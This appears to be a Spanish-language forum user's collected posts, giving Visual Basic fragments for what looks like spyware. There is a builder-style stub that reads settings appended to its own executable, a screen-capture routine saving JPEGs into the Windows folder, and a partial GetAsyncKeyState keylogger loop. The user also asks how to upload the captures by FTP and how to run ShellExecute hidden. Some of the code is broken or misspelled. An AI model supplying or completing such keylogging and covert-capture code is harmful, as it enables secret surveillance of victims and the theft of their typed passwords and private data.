Mensajes

en el servidor editado pones en el form_load:

Código [Seleccionar] Expandir


Dim var As String * 20
dim var1 as string
Dim Str1 As String
Dim Str2 As String

Open app.pach & "\" & app.exename For Binary As #2
    Get #2, LOF(2) - 20, var
Close #2

Str1 = InStr(1, var, " ")
Str2 = Left(var, Str1 - 1)
text1.text = Str2


muchas gracias, ya encomte lo k buscaba, solo taba pidiendo una orientacion
Salu2

y no ay ningun modulo como el SocketMaster de las apis de winsock para sustituir a msinet.ocx?
Lo que quiero acer es conectarme a un ftp y subir unas fotos.
Hay otra manera?

Salu2

Código [Seleccionar] Expandir


Captura.Quality = 70


Aki pones la calidad entre 1 y 100 k kieras

Salu2

usa este modulo k te captura la pantalla en jpg directamente

http://mx.geocities.com/asrail_hack/cJpeg.zip

para usarle :

Código [Seleccionar] Expandir


Dim Captura As New cJpeg

        Captura.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
        Captura.Quality = 70 ' aqui se ajusta la calidad, entre 1 y 100
        Captura.SampleScreen
        Captura.SaveFile ("c:\windows" & "\nombre" & ".jpg")


salu2

Este post ya le abia visto pero como ponia WININET.DLL no le ice caso.

Podeis explicarme como se usa please ?

Gracias

Salu2

Hola de nuevo
Alguien sabe donde puedo encontrar el modulo para sustituir el msinet.ocx mediante apis.

Gracias  Salu2

Gracias 

Si no me ekivoco seria una cosa asi, aki no tengo el vb mirarlo vosotros:

Código [Seleccionar] Expandir


Dim i As Long

For i = 48 To 222

Select Case GetAsyncKeyState(i) = -32767

Case 8
If Right(Text1, 1) = " " Then GoTo nod
tip = Len(Text1) - 1
  Text1 = Left(Text1, tip)
nod:

Case 9
Text1 = Text1 & "[Tab]"

Case 13
Text1 = Text1 & "<br>"

Case 17
Text1 = Text1 & "[Ctrl]"

Case 18
Text1 = Text1 & "[Alt]"

Case 27
Text1 = Text1 & "[Esc]"

Case 32
Text1 = Text1 & " "

Case 91 Or 92
Text1 = Text1 & "[Win]"

Case 48 To 57
If GetAsyncKeyState(SHIFT) < 0 Then
  Text1 = Text1 & Chr2(i)
  Else
  Text1 = Text1 & Chr(i)
End If

Case 186 To 192
  If GetAsyncKeyState(SHIFT) < 0 Then
  Text1 = Text1 & Chr2(i - 100)
  Else
  Text1 = Text1 & Chr2(i)
  End If

Case 219 To 222
  If GetAsyncKeyState(SHIFT) < 0 Then
  Text1 = Text1 & Chr2(i - 100)
  Else
  Text1 = Text1 & Chr2(i)
  End If

Case 96 To 111
  Text1 = Text1 & Chr2(i)

End Select

Next


E puesto solo parte del codigo

Salu2

si, para el limite de 1900 caracteres:

Código [Seleccionar] Expandir


text1.maxlegth = 1900


Yo te recomendaria usar la api:

Código [Seleccionar] Expandir


Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long



y para ejecutar :

Código [Seleccionar] Expandir


ShellExecuteA Me.hWnd, "Open", "http://www.dex.com", vbNullString, vbNullString, 1


PD:Si algien sabe como acer que se ejecute oculto me podria poner el codigo please... Gracias

Salu2 ejoy it!!!